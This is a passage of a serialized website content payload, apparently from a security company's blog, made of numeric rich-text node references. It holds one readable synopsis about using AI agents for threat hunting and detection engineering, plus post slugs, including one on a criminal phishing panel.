1803,"value":7022,"nodeType":864},{},[],{"data":51805,"content":51806,"nodeType":883},{"uri":7025},[51807],{"data":51808,"marks":51809,"value":7030,"nodeType":864},{},[],{"data":51811,"marks":51812,"value":7034,"nodeType":864},{},[],{"data":51814,"content":51815,"nodeType":883},{"uri":7037},[51816],{"data":51817,"marks":51818,"value":7042,"nodeType":864},{},[],{"data":51820,"marks":51821,"value":7046,"nodeType":864},{},[],{"data":51823,"content":51824,"nodeType":1312},{},[51825],{"data":51826,"marks":51827,"value":7053,"nodeType":864},{},[],{"data":51829,"content":51830,"nodeType":860},{},[51831,51834,51840,51843,51849,51852,51858],{"data":51832,"marks":51833,"value":7060,"nodeType":864},{},[],{"data":51835,"content":51836,"nodeType":883},{"uri":7063},[51837],{"data":51838,"marks":51839,"value":7068,"nodeType":864},{},[],{"data":51841,"marks":51842,"value":7072,"nodeType":864},{},[],{"data":51844,"content":51845,"nodeType":883},{"uri":7075},[51846],{"data":51847,"marks":51848,"value":7080,"nodeType":864},{},[],{"data":51850,"marks":51851,"value":7084,"nodeType":864},{},[],{"data":51853,"content":51854,"nodeType":883},{"uri":7087},[51855],{"data":51856,"marks":51857,"value":7092,"nodeType":864},{},[],{"data":51859,"marks":51860,"value":7096,"nodeType":864},{},[],{"data":51862,"content":51863,"nodeType":860},{},[51864],{"data":51865,"marks":51866,"value":7103,"nodeType":864},{},[],{"data":51868,"content":51869,"nodeType":1005},{},[],{"data":51871,"content":51872,"nodeType":1009},{},[51873],{"data":51874,"marks":51875,"value":7114,"nodeType":864},{},[51876],{"type":899},{"data":51878,"content":51879,"nodeType":860},{},[51880,51883,51889],{"data":51881,"marks":51882,"value":7121,"nodeType":864},{},[],{"data":51884,"content":51885,"nodeType":883},{"uri":7124},[51886],{"data":51887,"marks":51888,"value":7129,"nodeType":864},{},[],{"data":51890,"marks":51891,"value":7133,"nodeType":864},{},[],{"data":51893,"content":51894,"nodeType":860},{},[51895],{"data":51896,"marks":51897,"value":7140,"nodeType":864},{},[],{"data":51899,"content":51900,"nodeType":1312},{},[51901],{"data":51902,"marks":51903,"value":7148,"nodeType":864},{},[51904],{"type":899},{"data":51906,"content":51907,"nodeType":860},{},[51908,51911,51915],{"data":51909,"marks":51910,"value":7155,"nodeType":864},{},[],{"data":51912,"marks":51913,"value":1555,"nodeType":864},{},[51914],{"type":899},{"data":51916,"marks":51917,"value":7163,"nodeType":864},{},[],{"data":51919,"content":51920,"nodeType":860},{},[51921],{"data":51922,"marks":51923,"value":7170,"nodeType":864},{},[],{"data":51925,"content":51926,"nodeType":860},{},[51927,51930,51936],{"data":51928,"marks":51929,"value":7177,"nodeType":864},{},[],{"data":51931,"content":51932,"nodeType":883},{"uri":7180},[51933],{"data":51934,"marks":51935,"value":7185,"nodeType":864},{},[],{"data":51937,"marks":51938,"value":7189,"nodeType":864},{},[],{"data":51940,"content":51941,"nodeType":860},{},[51942],{"data":51943,"marks":51944,"value":7196,"nodeType":864},{},[],{"data":51946,"content":51947,"nodeType":1005},{},[],{"data":51949,"content":51950,"nodeType":860},{},[51951],{"data":51952,"marks":51953,"value":1682,"nodeType":864},{},[],{"data":51955,"content":51956,"nodeType":860},{},[51957],{"data":51958,"marks":51959,"value":1689,"nodeType":864},{},[],{"data":51961,"content":51962,"nodeType":860},{},[51963,51966,51973],{"data":51964,"marks":51965,"value":21,"nodeType":864},{},[],{"data":51967,"content":51968,"nodeType":883},{"uri":5642},[51969],{"data":51970,"marks":51971,"value":1703,"nodeType":864},{},[51972],{"type":1455},{"data":51974,"marks":51975,"value":21,"nodeType":864},{},[],{"data":51977,"content":51978,"nodeType":1005},{},[],{"data":51980,"content":51981,"nodeType":1009},{},[51982],{"data":51983,"marks":51984,"value":7238,"nodeType":864},{},[51985],{"type":899},{"data":51987,"content":51988,"nodeType":860},{},[51989,51992,51998],{"data":51990,"marks":51991,"value":7245,"nodeType":864},{},[],{"data":51993,"content":51994,"nodeType":883},{"uri":7248},[51995],{"data":51996,"marks":51997,"value":7253,"nodeType":864},{},[],{"data":51999,"marks":52000,"value":7257,"nodeType":864},{},[],{"data":52002,"content":52003,"nodeType":860},{},[52004],{"data":52005,"marks":52006,"value":7264,"nodeType":864},{},[],{"data":52008,"content":52009,"nodeType":4845},{},[52010,52033,52054,52075,52096],{"data":52011,"content":52012,"nodeType":4581},{},[52013,52023],{"data":52014,"content":52015,"nodeType":7282},{},[52016],{"data":52017,"content":52018,"nodeType":860},{},[52019],{"data":52020,"marks":52021,"value":7281,"nodeType":864},{},[52022],{"type":899},{"data":52024,"content":52025,"nodeType":7282},{},[52026],{"data":52027,"content":52028,"nodeType":860},{},[52029],{"data":52030,"marks":52031,"value":7293,"nodeType":864},{},[52032],{"type":899},{"data":52034,"content":52035,"nodeType":4581},{},[52036,52045],{"data":52037,"content":52038,"nodeType":4569},{},[52039],{"data":52040,"content":52041,"nodeType":860},{},[52042],{"data":52043,"marks":52044,"value":7306,"nodeType":864},{},[],{"data":52046,"content":52047,"nodeType":4569},{},[52048],{"data":52049,"content":52050,"nodeType":860},{},[52051],{"data":52052,"marks":52053,"value":7316,"nodeType":864},{},[],{"data":52055,"content":52056,"nodeType":4581},{},[52057,52066],{"data":52058,"content":52059,"nodeType":4569},{},[52060],{"data":52061,"content":52062,"nodeType":860},{},[52063],{"data":52064,"marks":52065,"value":7329,"nodeType":864},{},[],{"data":52067,"content":52068,"nodeType":4569},{},[52069],{"data":52070,"content":52071,"nodeType":860},{},[52072],{"data":52073,"marks":52074,"value":7316,"nodeType":864},{},[],{"data":52076,"content":52077,"nodeType":4581},{},[52078,52087],{"data":52079,"content":52080,"nodeType":4569},{},[52081],{"data":52082,"content":52083,"nodeType":860},{},[52084],{"data":52085,"marks":52086,"value":7351,"nodeType":864},{},[],{"data":52088,"content":52089,"nodeType":4569},{},[52090],{"data":52091,"content":52092,"nodeType":860},{},[52093],{"data":52094,"marks":52095,"value":7361,"nodeType":864},{},[],{"data":52097,"content":52098,"nodeType":4581},{},[52099,52108],{"data":52100,"content":52101,"nodeType":4569},{},[52102],{"data":52103,"content":52104,"nodeType":860},{},[52105],{"data":52106,"marks":52107,"value":7374,"nodeType":864},{},[],{"data":52109,"content":52110,"nodeType":4569},{},[52111],{"data":52112,"content":52113,"nodeType":860},{},[52114],{"data":52115,"marks":52116,"value":7384,"nodeType":864},{},[],{"data":52118,"content":52119,"nodeType":860},{},[52120],{"data":52121,"marks":52122,"value":21,"nodeType":864},{},[],{"items":52124},[52125,52127],{"sys":52126,"name":6593},{"id":6592},{"sys":52128,"name":342},{"id":6596},{"items":52130},[52131],{"fullName":7404,"firstName":7405,"jobTitle":7406,"profilePicture":52132},{"url":7408},{"__typename":2059,"sys":52134,"content":52135,"title":8167,"synopsis":8168,"hashTags":59,"publishedDate":8169,"slug":8170,"tagsCollection":52773,"authorsCollection":52779},{"id":7411},{"json":52136},{"data":52137,"content":52138,"nodeType":856},{},[52139,52154,52159,52165,52171,52174,52181,52196,52211,52217,52222,52228,52233,52239,52246,52252,52267,52292,52297,52302,52309,52315,52330,52354,52379,52385,52390,52397,52403,52413,52419,52451,52456,52489,52520,52525,52528,52535,52541,52546,52552,52558,52563,52569,52575,52597,52600,52607,52613,52620,52626,52632,52648,52654,52659,52665,52672,52678,52693,52699,52714,52717,52724,52730,52736,52742,52745,52751,52757],{"data":52140,"content":52141,"nodeType":860},{},[52142,52145,52151],{"data":52143,"marks":52144,"value":7422,"nodeType":864},{},[],{"data":52146,"content":52147,"nodeType":883},{"uri":7425},[52148],{"data":52149,"marks":52150,"value":7430,"nodeType":864},{},[],{"data":52152,"marks":52153,"value":7434,"nodeType":864},{},[],{"data":52155,"content":52158,"nodeType":996},{"target":52156},{"sys":52157},{"id":7439,"type":1001,"linkType":1002},[],{"data":52160,"content":52161,"nodeType":860},{},[52162],{"data":52163,"marks":52164,"value":7447,"nodeType":864},{},[],{"data":52166,"content":52167,"nodeType":860},{},[52168],{"data":52169,"marks":52170,"value":7454,"nodeType":864},{},[],{"data":52172,"content":52173,"nodeType":1005},{},[],{"data":52175,"content":52176,"nodeType":1009},{},[52177],{"data":52178,"marks":52179,"value":7465,"nodeType":864},{},[52180],{"type":899},{"data":52182,"content":52183,"nodeType":860},{},[52184,52187,52193],{"data":52185,"marks":52186,"value":7472,"nodeType":864},{},[],{"data":52188,"content":52189,"nodeType":883},{"uri":7475},[52190],{"data":52191,"marks":52192,"value":7480,"nodeType":864},{},[],{"data":52194,"marks":52195,"value":7484,"nodeType":864},{},[],{"data":52197,"content":52198,"nodeType":860},{},[52199,52202,52208],{"data":52200,"marks":52201,"value":7491,"nodeType":864},{},[],{"data":52203,"content":52204,"nodeType":883},{"uri":7494},[52205],{"data":52206,"marks":52207,"value":7499,"nodeType":864},{},[],{"data":52209,"marks":52210,"value":7503,"nodeType":864},{},[],{"data":52212,"content":52213,"nodeType":860},{},[52214],{"data":52215,"marks":52216,"value":7510,"nodeType":864},{},[],{"data":52218,"content":52221,"nodeType":996},{"target":52219},{"sys":52220},{"id":7515,"type":1001,"linkType":1002},[],{"data":52223,"content":52224,"nodeType":860},{},[52225],{"data":52226,"marks":52227,"value":7523,"nodeType":864},{},[],{"data":52229,"content":52232,"nodeType":996},{"target":52230},{"sys":52231},{"id":7528,"type":1001,"linkType":1002},[],{"data":52234,"content":52235,"nodeType":860},{},[52236],{"data":52237,"marks":52238,"value":7536,"nodeType":864},{},[],{"data":52240,"content":52241,"nodeType":1312},{},[52242],{"data":52243,"marks":52244,"value":7544,"nodeType":864},{},[52245],{"type":899},{"data":52247,"content":52248,"nodeType":860},{},[52249],{"data":52250,"marks":52251,"value":7551,"nodeType":864},{},[],{"data":52253,"content":52254,"nodeType":860},{},[52255,52258,52264],{"data":52256,"marks":52257,"value":7558,"nodeType":864},{},[],{"data":52259,"content":52260,"nodeType":883},{"uri":7180},[52261],{"data":52262,"marks":52263,"value":7565,"nodeType":864},{},[],{"data":52265,"marks":52266,"value":7569,"nodeType":864},{},[],{"data":52268,"content":52269,"nodeType":860},{},[52270,52273,52280,52283,52289],{"data":52271,"marks":52272,"value":7576,"nodeType":864},{},[],{"data":52274,"content":52275,"nodeType":883},{"uri":5327},[52276],{"data":52277,"marks":52278,"value":7584,"nodeType":864},{},[52279],{"type":1455},{"data":52281,"marks":52282,"value":7588,"nodeType":864},{},[],{"data":52284,"content":52285,"nodeType":883},{"uri":7591},[52286],{"data":52287,"marks":52288,"value":7596,"nodeType":864},{},[],{"data":52290,"marks":52291,"value":7600,"nodeType":864},{},[],{"data":52293,"content":52296,"nodeType":996},{"target":52294},{"sys":52295},{"id":7605,"type":1001,"linkType":1002},[],{"data":52298,"content":52301,"nodeType":996},{"target":52299},{"sys":52300},{"id":7611,"type":1001,"linkType":1002},[],{"data":52303,"content":52304,"nodeType":1312},{},[52305],{"data":52306,"marks":52307,"value":7620,"nodeType":864},{},[52308],{"type":899},{"data":52310,"content":52311,"nodeType":860},{},[52312],{"data":52313,"marks":52314,"value":7627,"nodeType":864},{},[],{"data":52316,"content":52317,"nodeType":860},{},[52318,52321,52327],{"data":52319,"marks":52320,"value":7634,"nodeType":864},{},[],{"data":52322,"content":52323,"nodeType":883},{"uri":6543},[52324],{"data":52325,"marks":52326,"value":7641,"nodeType":864},{},[],{"data":52328,"marks":52329,"value":7645,"nodeType":864},{},[],{"data":52331,"content":52332,"nodeType":860},{},[52333,52336,52342,52345,52351],{"data":52334,"marks":52335,"value":7652,"nodeType":864},{},[],{"data":52337,"content":52338,"nodeType":883},{"uri":7655},[52339],{"data":52340,"marks":52341,"value":7660,"nodeType":864},{},[],{"data":52343,"marks":52344,"value":7664,"nodeType":864},{},[],{"data":52346,"content":52347,"nodeType":883},{"uri":3259},[52348],{"data":52349,"marks":52350,"value":7671,"nodeType":864},{},[],{"data":52352,"marks":52353,"value":7675,"nodeType":864},{},[],{"data":52355,"content":52356,"nodeType":860},{},[52357,52360,52366,52369,52376],{"data":52358,"marks":52359,"value":7682,"nodeType":864},{},[],{"data":52361,"content":52362,"nodeType":883},{"uri":7685},[52363],{"data":52364,"marks":52365,"value":7690,"nodeType":864},{},[],{"data":52367,"marks":52368,"value":7694,"nodeType":864},{},[],{"data":52370,"content":52371,"nodeType":883},{"uri":7697},[52372],{"data":52373,"marks":52374,"value":7703,"nodeType":864},{},[52375],{"type":1455},{"data":52377,"marks":52378,"value":7707,"nodeType":864},{},[],{"data":52380,"content":52381,"nodeType":860},{},[52382],{"data":52383,"marks":52384,"value":7714,"nodeType":864},{},[],{"data":52386,"content":52389,"nodeType":996},{"target":52387},{"sys":52388},{"id":7719,"type":1001,"linkType":1002},[],{"data":52391,"content":52392,"nodeType":1312},{},[52393],{"data":52394,"marks":52395,"value":7728,"nodeType":864},{},[52396],{"type":899},{"data":52398,"content":52399,"nodeType":860},{},[52400],{"data":52401,"marks":52402,"value":7735,"nodeType":864},{},[],{"data":52404,"content":52405,"nodeType":860},{},[52406,52410],{"data":52407,"marks":52408,"value":360,"nodeType":864},{},[52409],{"type":899},{"data":52411,"marks":52412,"value":7746,"nodeType":864},{},[],{"data":52414,"content":52415,"nodeType":860},{},[52416],{"data":52417,"marks":52418,"value":7753,"nodeType":864},{},[],{"data":52420,"content":52421,"nodeType":860},{},[52422,52425,52431,52434,52438,52441,52448],{"data":52423,"marks":52424,"value":7760,"nodeType":864},{},[],{"data":52426,"content":52427,"nodeType":883},{"uri":7763},[52428],{"data":52429,"marks":52430,"value":7768,"nodeType":864},{},[],{"data":52432,"marks":52433,"value":7772,"nodeType":864},{},[],{"data":52435,"marks":52436,"value":7777,"nodeType":864},{},[52437],{"type":899},{"data":52439,"marks":52440,"value":7781,"nodeType":864},{},[],{"data":52442,"content":52443,"nodeType":883},{"uri":4082},[52444],{"data":52445,"marks":52446,"value":7789,"nodeType":864},{},[52447],{"type":1455},{"data":52449,"marks":52450,"value":1774,"nodeType":864},{},[],{"data":52452,"content":52455,"nodeType":996},{"target":52453},{"sys":52454},{"id":7797,"type":1001,"linkType":1002},[],{"data":52457,"content":52458,"nodeType":860},{},[52459,52462,52466,52469,52476,52479,52486],{"data":52460,"marks":52461,"value":7805,"nodeType":864},{},[],{"data":52463,"marks":52464,"value":315,"nodeType":864},{},[52465],{"type":899},{"data":52467,"marks":52468,"value":7813,"nodeType":864},{},[],{"data":52470,"content":52471,"nodeType":883},{"uri":7816},[52472],{"data":52473,"marks":52474,"value":7822,"nodeType":864},{},[52475],{"type":1455},{"data":52477,"marks":52478,"value":7826,"nodeType":864},{},[],{"data":52480,"content":52481,"nodeType":883},{"uri":5971},[52482],{"data":52483,"marks":52484,"value":7834,"nodeType":864},{},[52485],{"type":1455},{"data":52487,"marks":52488,"value":7838,"nodeType":864},{},[],{"data":52490,"content":52491,"nodeType":860},{},[52492,52495,52499,52502,52508,52511,52517],{"data":52493,"marks":52494,"value":7845,"nodeType":864},{},[],{"data":52496,"marks":52497,"value":6041,"nodeType":864},{},[52498],{"type":899},{"data":52500,"marks":52501,"value":7853,"nodeType":864},{},[],{"data":52503,"content":52504,"nodeType":883},{"uri":6036},[52505],{"data":52506,"marks":52507,"value":7860,"nodeType":864},{},[],{"data":52509,"marks":52510,"value":7864,"nodeType":864},{},[],{"data":52512,"content":52513,"nodeType":883},{"uri":6075},[52514],{"data":52515,"marks":52516,"value":7871,"nodeType":864},{},[],{"data":52518,"marks":52519,"value":7875,"nodeType":864},{},[],{"data":52521,"content":52524,"nodeType":996},{"target":52522},{"sys":52523},{"id":7880,"type":1001,"linkType":1002},[],{"data":52526,"content":52527,"nodeType":1005},{},[],{"data":52529,"content":52530,"nodeType":1009},{},[52531],{"data":52532,"marks":52533,"value":7892,"nodeType":864},{},[52534],{"type":899},{"data":52536,"content":52537,"nodeType":860},{},[52538],{"data":52539,"marks":52540,"value":7899,"nodeType":864},{},[],{"data":52542,"content":52545,"nodeType":996},{"target":52543},{"sys":52544},{"id":7904,"type":1001,"linkType":1002},[],{"data":52547,"content":52548,"nodeType":860},{},[52549],{"data":52550,"marks":52551,"value":7912,"nodeType":864},{},[],{"data":52553,"content":52554,"nodeType":860},{},[52555],{"data":52556,"marks":52557,"value":7919,"nodeType":864},{},[],{"data":52559,"content":52562,"nodeType":996},{"target":52560},{"sys":52561},{"id":7924,"type":1001,"linkType":1002},[],{"data":52564,"content":52565,"nodeType":860},{},[52566],{"data":52567,"marks":52568,"value":7932,"nodeType":864},{},[],{"data":52570,"content":52571,"nodeType":860},{},[52572],{"data":52573,"marks":52574,"value":7939,"nodeType":864},{},[],{"data":52576,"content":52577,"nodeType":1116},{},[52578],{"data":52579,"content":52580,"nodeType":860},{},[52581,52584,52590,52593],{"data":52582,"marks":52583,"value":7949,"nodeType":864},{},[],{"data":52585,"content":52586,"nodeType":883},{"uri":7952},[52587],{"data":52588,"marks":52589,"value":7957,"nodeType":864},{},[],{"data":52591,"marks":52592,"value":7961,"nodeType":864},{},[],{"data":52594,"marks":52595,"value":7966,"nodeType":864},{},[52596],{"type":2246},{"data":52598,"content":52599,"nodeType":1005},{},[],{"data":52601,"content":52602,"nodeType":1009},{},[52603],{"data":52604,"marks":52605,"value":7977,"nodeType":864},{},[52606],{"type":899},{"data":52608,"content":52609,"nodeType":860},{},[52610],{"data":52611,"marks":52612,"value":7984,"nodeType":864},{},[],{"data":52614,"content":52615,"nodeType":1312},{},[52616],{"data":52617,"marks":52618,"value":7992,"nodeType":864},{},[52619],{"type":899},{"data":52621,"content":52622,"nodeType":860},{},[52623],{"data":52624,"marks":52625,"value":7999,"nodeType":864},{},[],{"data":52627,"content":52628,"nodeType":860},{},[52629],{"data":52630,"marks":52631,"value":8006,"nodeType":864},{},[],{"data":52633,"content":52634,"nodeType":860},{},[52635,52638,52645],{"data":52636,"marks":52637,"value":8013,"nodeType":864},{},[],{"data":52639,"content":52640,"nodeType":883},{"uri":6543},[52641],{"data":52642,"marks":52643,"value":8021,"nodeType":864},{},[52644],{"type":1455},{"data":52646,"marks":52647,"value":8025,"nodeType":864},{},[],{"data":52649,"content":52650,"nodeType":860},{},[52651],{"data":52652,"marks":52653,"value":8032,"nodeType":864},{},[],{"data":52655,"content":52658,"nodeType":996},{"target":52656},{"sys":52657},{"id":8037,"type":1001,"linkType":1002},[],{"data":52660,"content":52661,"nodeType":860},{},[52662],{"data":52663,"marks":52664,"value":8045,"nodeType":864},{},[],{"data":52666,"content":52667,"nodeType":1312},{},[52668],{"data":52669,"marks":52670,"value":8053,"nodeType":864},{},[52671],{"type":899},{"data":52673,"content":52674,"nodeType":860},{},[52675],{"data":52676,"marks":52677,"value":8060,"nodeType":864},{},[],{"data":52679,"content":52680,"nodeType":860},{},[52681,52684,52690],{"data":52682,"marks":52683,"value":8067,"nodeType":864},{},[],{"data":52685,"content":52686,"nodeType":883},{"uri":7180},[52687],{"data":52688,"marks":52689,"value":7185,"nodeType":864},{},[],{"data":52691,"marks":52692,"value":8077,"nodeType":864},{},[],{"data":52694,"content":52695,"nodeType":860},{},[52696],{"data":52697,"marks":52698,"value":8084,"nodeType":864},{},[],{"data":52700,"content":52701,"nodeType":860},{},[52702,52705,52711],{"data":52703,"marks":52704,"value":8091,"nodeType":864},{},[],{"data":52706,"content":52707,"nodeType":883},{"uri":6024},[52708],{"data":52709,"marks":52710,"value":8098,"nodeType":864},{},[],{"data":52712,"marks":52713,"value":8102,"nodeType":864},{},[],{"data":52715,"content":52716,"nodeType":1005},{},[],{"data":52718,"content":52719,"nodeType":1009},{},[52720],{"data":52721,"marks":52722,"value":8113,"nodeType":864},{},[52723],{"type":899},{"data":52725,"content":52726,"nodeType":860},{},[52727],{"data":52728,"marks":52729,"value":8120,"nodeType":864},{},[],{"data":52731,"content":52732,"nodeType":860},{},[52733],{"data":52734,"marks":52735,"value":8127,"nodeType":864},{},[],{"data":52737,"content":52738,"nodeType":860},{},[52739],{"data":52740,"marks":52741,"value":8134,"nodeType":864},{},[],{"data":52743,"content":52744,"nodeType":1005},{},[],{"data":52746,"content":52747,"nodeType":860},{},[52748],{"data":52749,"marks":52750,"value":1682,"nodeType":864},{},[],{"data":52752,"content":52753,"nodeType":860},{},[52754],{"data":52755,"marks":52756,"value":1689,"nodeType":864},{},[],{"data":52758,"content":52759,"nodeType":860},{},[52760,52763,52770],{"data":52761,"marks":52762,"value":21,"nodeType":864},{},[],{"data":52764,"content":52765,"nodeType":883},{"uri":1700},[52766],{"data":52767,"marks":52768,"value":8163,"nodeType":864},{},[52769],{"type":1455},{"data":52771,"marks":52772,"value":2719,"nodeType":864},{},[],{"items":52774},[52775,52777],{"sys":52776,"name":342},{"id":6596},{"sys":52778,"name":6593},{"id":6592},{"items":52780},[52781],{"fullName":2736,"firstName":2737,"jobTitle":2738,"profilePicture":52782},{"url":2740},"blog/can-ai-replace-a-threat-researcher-what-we-learned-building-an-agentic-threat-hunting-pipeline",{"json":52785},{"data":52786,"content":52787,"nodeType":856},{},[52788],{"data":52789,"content":52790,"nodeType":860},{},[52791],{"data":52792,"marks":52793,"value":52794,"nodeType":864},{},[],"What does agentic threat hunting against modern browser-based attacks actually look like? At Push, we built an end-to-end threat hunting and detection engineering capability that uses AI agents as a force multiplier, tripling the number of new detections we’re shipping each month. Here’s how it works.",{"id":18316,"publishedAt":52796},"2026-08-12T11:52:54.643Z",{"items":52798},[52799,52801],{"sys":52800,"name":6593},{"id":6592},{"sys":52802,"name":342},{"id":6596},{"items":52804},[52805,52807,52809,52811,52813,52815,52817,52819,52821,52823,52825,52827,52829,52831,52833,52835,52837],{"sys":52806,"name":297,"slug":298,"tier":31},{"id":294},{"sys":52808,"name":235,"slug":236,"tier":31},{"id":232},{"sys":52810,"name":342,"slug":343,"tier":31},{"id":339},{"sys":52812,"name":279,"slug":280,"tier":31},{"id":276},{"sys":52814,"name":519,"slug":520,"tier":31},{"id":516},{"sys":52816,"name":351,"slug":352,"tier":45},{"id":348},{"sys":52818,"name":315,"slug":316,"tier":45},{"id":312},{"sys":52820,"name":440,"slug":441,"tier":45},{"id":437},{"sys":52822,"name":244,"slug":245,"tier":45},{"id":241},{"sys":52824,"name":261,"slug":262,"tier":45},{"id":258},{"sys":52826,"name":511,"slug":512,"tier":45},{"id":508},{"sys":52828,"name":360,"slug":361,"tier":45},{"id":357},{"sys":52830,"name":484,"slug":485,"tier":45},{"id":481},{"sys":52832,"name":448,"slug":449,"tier":45},{"id":445},{"sys":52834,"name":563,"slug":564,"tier":45},{"id":560},{"sys":52836,"name":324,"slug":325,"tier":45},{"id":321},{"sys":52838,"name":571,"slug":572,"tier":45},{"id":568},"EIw901ieTSJKgYUJtBGNL0gxQIxXjCkEBakCEa5VEHA",{"id":52841,"title":28010,"authorsCollection":52842,"content":52846,"extension":228,"faqItemsCollection":54754,"faqTitle":59,"featured":6,"hashTags":59,"meta":54756,"metaTitle":54757,"ogImage":59,"postType":5740,"publishedDate":28012,"relatedBlogPostsCollection":54758,"slug":28013,"stem":56937,"subtitle":59,"summary":56938,"synopsis":28011,"sys":56948,"tagsCollection":56950,"topicsCollection":56956,"__hash__":56986},"blog/blog/inside-criminal-phishing-panel.json",{"items":52843},[52844],{"fullName":28023,"firstName":28024,"jobTitle":2738,"socialLinks":59,"profilePicture":52845},{"url":28026},{"json":52847,"links":54553},{"data":52848,"content":52849,"nodeType":856},{},[52850,52856,52880,52890,52896,52901,52911,52916,52919,52926,52932,52987,52993,52998,53001,53008,53014,53019,53026,53032,53140,53145,53150,53156,53161,53168,53174,53180,53235,53241,53246,53251,53258,53264,53270,53277,53283,53312,53318,53323,53329,53371,53377,53384,53390,53395,53401,53407,53412,53418,53447,53453,53458,53461,53468,53474,53480,53486,53491,53497,53503,53508,53514,53519,53525,53530,53536,53542,53545,53552,53565,53571,53587,53808,53814,53840,54061,54067,54073,54264,54270,54449,54452,54459,54465,54471,54481,54484,54491,54506,54521,54528,54531,54538],{"data":52851,"content":52852,"nodeType":860},{},[52853],{"data":52854,"marks":52855,"value":26124,"nodeType":864},{},[],{"data":52857,"content":52858,"nodeType":860},{},[52859,52862,52868,52871,52877],{"data":52860,"marks":52861,"value":26131,"nodeType":864},{},[],{"data":52863,"content":52864,"nodeType":883},{"uri":6259},[52865],{"data":52866,"marks":52867,"value":4087,"nodeType":864},{},[],{"data":52869,"marks":52870,"value":26141,"nodeType":864},{},[],{"data":52872,"content":52873,"nodeType":883},{"uri":26144},[52874],{"data":52875,"marks":52876,"value":26149,"nodeType":864},{},[],{"data":52878,"marks":52879,"value":26153,"nodeType":864},{},[],{"data":52881,"content":52882,"nodeType":860},{},[52883,52887],{"data":52884,"marks":52885,"value":26161,"nodeType":864},{},[52886],{"type":899},{"data":52888,"marks":52889,"value":1171,"nodeType":864},{},[],{"data":52891,"content":52892,"nodeType":860},{},[52893],{"data":52894,"marks":52895,"value":26171,"nodeType":864},{},[],{"data":52897,"content":52900,"nodeType":996},{"target":52898},{"sys":52899},{"id":26176,"type":1001,"linkType":1002},[],{"data":52902,"content":52903,"nodeType":860},{},[52904,52907],{"data":52905,"marks":52906,"value":26184,"nodeType":864},{},[],{"data":52908,"marks":52909,"value":26189,"nodeType":864},{},[52910],{"type":899},{"data":52912,"content":52915,"nodeType":996},{"target":52913},{"sys":52914},{"id":26194,"type":1001,"linkType":1002},[],{"data":52917,"content":52918,"nodeType":1005},{},[],{"data":52920,"content":52921,"nodeType":1009},{},[52922],{"data":52923,"marks":52924,"value":26206,"nodeType":864},{},[52925],{"type":899},{"data":52927,"content":52928,"nodeType":860},{},[52929],{"data":52930,"marks":52931,"value":26213,"nodeType":864},{},[],{"data":52933,"content":52934,"nodeType":941},{},[52935,52948,52961,52974],{"data":52936,"content":52937,"nodeType":945},{},[52938],{"data":52939,"content":52940,"nodeType":860},{},[52941,52945],{"data":52942,"marks":52943,"value":26227,"nodeType":864},{},[52944],{"type":899},{"data":52946,"marks":52947,"value":26231,"nodeType":864},{},[],{"data":52949,"content":52950,"nodeType":945},{},[52951],{"data":52952,"content":52953,"nodeType":860},{},[52954,52958],{"data":52955,"marks":52956,"value":26242,"nodeType":864},{},[52957],{"type":899},{"data":52959,"marks":52960,"value":26246,"nodeType":864},{},[],{"data":52962,"content":52963,"nodeType":945},{},[52964],{"data":52965,"content":52966,"nodeType":860},{},[52967,52971],{"data":52968,"marks":52969,"value":26257,"nodeType":864},{},[52970],{"type":899},{"data":52972,"marks":52973,"value":26261,"nodeType":864},{},[],{"data":52975,"content":52976,"nodeType":945},{},[52977],{"data":52978,"content":52979,"nodeType":860},{},[52980,52984],{"data":52981,"marks":52982,"value":26272,"nodeType":864},{},[52983],{"type":899},{"data":52985,"marks":52986,"value":26276,"nodeType":864},{},[],{"data":52988,"content":52989,"nodeType":860},{},[52990],{"data":52991,"marks":52992,"value":26283,"nodeType":864},{},[],{"data":52994,"content":52997,"nodeType":996},{"target":52995},{"sys":52996},{"id":26288,"type":1001,"linkType":1002},[],{"data":52999,"content":53000,"nodeType":1005},{},[],{"data":53002,"content":53003,"nodeType":1009},{},[53004],{"data":53005,"marks":53006,"value":26300,"nodeType":864},{},[53007],{"type":899},{"data":53009,"content":53010,"nodeType":860},{},[53011],{"data":53012,"marks":53013,"value":26307,"nodeType":864},{},[],{"data":53015,"content":53018,"nodeType":996},{"target":53016},{"sys":53017},{"id":26312,"type":1001,"linkType":1002},[],{"data":53020,"content":53021,"nodeType":1312},{},[53022],{"data":53023,"marks":53024,"value":26321,"nodeType":864},{},[53025],{"type":899},{"data":53027,"content":53028,"nodeType":860},{},[53029],{"data":53030,"marks":53031,"value":26328,"nodeType":864},{},[],{"data":53033,"content":53034,"nodeType":941},{},[53035,53048,53061,53081,53094,53107,53127],{"data":53036,"content":53037,"nodeType":945},{},[53038],{"data":53039,"content":53040,"nodeType":860},{},[53041,53045],{"data":53042,"marks":53043,"value":26342,"nodeType":864},{},[53044],{"type":899},{"data":53046,"marks":53047,"value":26346,"nodeType":864},{},[],{"data":53049,"content":53050,"nodeType":945},{},[53051],{"data":53052,"content":53053,"nodeType":860},{},[53054,53058],{"data":53055,"marks":53056,"value":26357,"nodeType":864},{},[53057],{"type":899},{"data":53059,"marks":53060,"value":26361,"nodeType":864},{},[],{"data":53062,"content":53063,"nodeType":945},{},[53064],{"data":53065,"content":53066,"nodeType":860},{},[53067,53071,53074,53078],{"data":53068,"marks":53069,"value":26372,"nodeType":864},{},[53070],{"type":899},{"data":53072,"marks":53073,"value":26376,"nodeType":864},{},[],{"data":53075,"marks":53076,"value":26381,"nodeType":864},{},[53077],{"type":899},{"data":53079,"marks":53080,"value":26385,"nodeType":864},{},[],{"data":53082,"content":53083,"nodeType":945},{},[53084],{"data":53085,"content":53086,"nodeType":860},{},[53087,53091],{"data":53088,"marks":53089,"value":26396,"nodeType":864},{},[53090],{"type":899},{"data":53092,"marks":53093,"value":26400,"nodeType":864},{},[],{"data":53095,"content":53096,"nodeType":945},{},[53097],{"data":53098,"content":53099,"nodeType":860},{},[53100,53104],{"data":53101,"marks":53102,"value":26411,"nodeType":864},{},[53103],{"type":899},{"data":53105,"marks":53106,"value":26415,"nodeType":864},{},[],{"data":53108,"content":53109,"nodeType":945},{},[53110],{"data":53111,"content":53112,"nodeType":860},{},[53113,53117,53120,53124],{"data":53114,"marks":53115,"value":26426,"nodeType":864},{},[53116],{"type":899},{"data":53118,"marks":53119,"value":26430,"nodeType":864},{},[],{"data":53121,"marks":53122,"value":26435,"nodeType":864},{},[53123],{"type":899},{"data":53125,"marks":53126,"value":26439,"nodeType":864},{},[],{"data":53128,"content":53129,"nodeType":945},{},[53130],{"data":53131,"content":53132,"nodeType":860},{},[53133,53137],{"data":53134,"marks":53135,"value":26450,"nodeType":864},{},[53136],{"type":899},{"data":53138,"marks":53139,"val